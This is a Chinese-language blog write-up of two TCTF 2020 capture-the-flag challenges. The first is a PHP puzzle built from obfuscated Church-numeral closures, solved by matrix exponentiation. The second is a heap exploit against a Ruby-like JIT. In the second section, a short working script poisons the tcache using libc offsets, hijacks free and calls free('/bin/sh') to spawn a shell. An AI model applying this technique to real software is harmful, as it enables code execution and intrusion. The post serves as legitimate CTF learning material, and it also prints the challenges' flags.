发现已经一年没更新过博客了…过来填点坑。

TCTF 2020从早上10点开始,持续24小时,我和队友们在108打了一整天,凌晨4点撑不住睡着了,最后的结果是新星赛第二名,KoH方面没打过NeSE,无奈没研究出来如何高效用逻辑门接线接出S盒。

Unlimited

给出了用PHP-Parser生成的PHP语法树,看了一下这个轮子的介绍,能生成两种输出,一种JSON,一种是题目给出的私有格式。这个轮子居然只能加载JSON的输出,自己的私有格式没法加载进去…于是把编译原理的大作业Pascal编译器改了改,现撸了一个语法分析器,把这个格式读进去之后再按JSON输出出来。用PHP-Parser加载之后再PrettyPrint出PHP代码。改一些变量名,解一解混淆后得到下面的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

$inc_iter = function ($iter) {
    return function ($func) use($iter) {
        return function ($arg) use($func, $iter) {
            return $func($iter($func)($arg));
        };
    };
};
$add1 = function ($x) {
    return $x + 1;
};
$add_iter = function ($iter_b) {
    return function ($iter_a) use($iter_b) {
        return function ($func) use($iter_b, $iter_a) {
            return function ($arg) use($func, $iter_b, $iter_a) {
                return $iter_b($func)($iter_a($func)($arg));
            };
        };
    };
};
$del1 = function ($x) {
    return $x - 1;
};
$zero_iter = function ($func) {
    return function ($arg) {
        return $arg;
    };
};
$mul3_mod7 = function ($x) {
    return $x * 3 % 7;
};
$mul_iter = function ($lIlIll1111) use($add_iter, $zero_iter) {
    return function ($II1IIl1Ill) use($lIlIll1111, $add_iter, $zero_iter) {
        return $lIlIll1111($add_iter($II1IIl1Ill))($zero_iter);
    };
};
$one_iter = function ($func) {
    return function ($arg) use($func) {
        return $func($arg);
    };
};
$inc = function ($x) {
    return ($x + 1) % 1000000007;
};
$martix = array(array($add_iter($inc_iter...;
for ($loop_iter = $zero_iter; $loop_iter($add1)(998244353) < $loop_iter($del1)(6755399441055744); $loop_iter = $inc_iter($loop_iter)) {
    $src_line = $martix[$loop_iter($mul3_mod7)(1)];
    $dst_line = $martix[$mul_iter($loop_iter)($loop_iter)($mul3_mod7)(1)];
    $dst_line[0] = $mul_iter($prev_line[0])($src_line[0]);
    $dst_line[0] = $add_iter($mul_iter($src_line[3])($prev_line[1]))($dst_line[0]);
    $dst_line[8] = $mul_iter($prev_line[8])($src_line[8]);
    $dst_line[8] = $add_iter($dst_line[8])($mul_iter($prev_line[6])($src_line[2]));
    $dst_line[7] = $mul_iter($prev_line[7])($src_line[4]);
    $dst_line[7] = $add_iter($mul_iter($src_line[1])($prev_line[6]))($dst_line[7]);
    $dst_line[1] = $mul_iter($prev_line[1])($src_line[4]);
    ...
    $prev_line = $dst_line;
}
echo 'flag{';
for ($loop_iter = $one_iter; $loop_iter($add1)(-9); $loop_iter = $add_iter($one_iter)($loop_iter)) {
    echo "{$prev_line[$loop_iter($del1)(9)]($inc)(0)}-";
}
echo "{$prev_line[$loop_iter($del1)(9)]($inc)(0)}}";

可以先从$zero_iter$one_iter下手,这两个函数可以看成同一类iter函数,二者都是2层闭包,若以$iter($func)($arg)的形式调用,则一个会调用$func($arg)0次,另一个调用1次。再看$add_iter函数,该函数是一个4层闭包,若前两层的参数是两个iter函数,那么里面的两层会产生一个新的iter函数,此iter调用$func($arg)的次数恰好是两个外层iter函数调用次数的总和。同样的方法看出$inc_iter是自增次数,$mul_iter是次数相乘。

最下面的循环实际上是3*3矩阵乘法,矩阵里的元素都是iter函数,矩阵元素的值反映在iter的次数上,每次从$martix中选出一个矩阵,和$prev_line相乘。若记$prev_line的矩阵是P,则P=A0*(A1*A3*A2*A6*A4*A5)*A1*…,先算出A1*…*A5六个矩阵的积,再用快速幂计算出最后结果。

flag格式是矩阵结果模1000000007,并倒过来用减号连在一起

flag: flag{432734187-186275980-552238391-407500134-680581127-536698178-262495339-821428559-850467550}

Secure JIT

这个题是一个类Ruby语言的JIT,从GitHub上把这个rubi的源码扒下来,发现这个JIT里面遍地是漏洞,像function、string之类的声明都最多只能容纳256个,多了就可以溢出。接着研究这个JIT对库函数的包装(stdlib.c),发现里面Array的声明是malloc包装出来的,而且JIT里面可以直接调用free,Array的读写甚至没有任何边界检查。libc版本是2.27,有tcache,最后此题由队友雷神(id:N0p)解出(毕竟我不懂Pwn)。

1
2
3
4
5
6
7
8
9
x = Array(1024)
y = Array(30)
z = Array(128)
free(y)
y[0] = z[0] - 1935320 + 1939664
y = Array(30)
y = Array(30)
y[0] = z[0] - 1935320 + 250448
free("/bin/sh")

flag: flag{did_you_try_to_fuzz_it_haha_how_many_memory_corruption_bugs_did_you_find}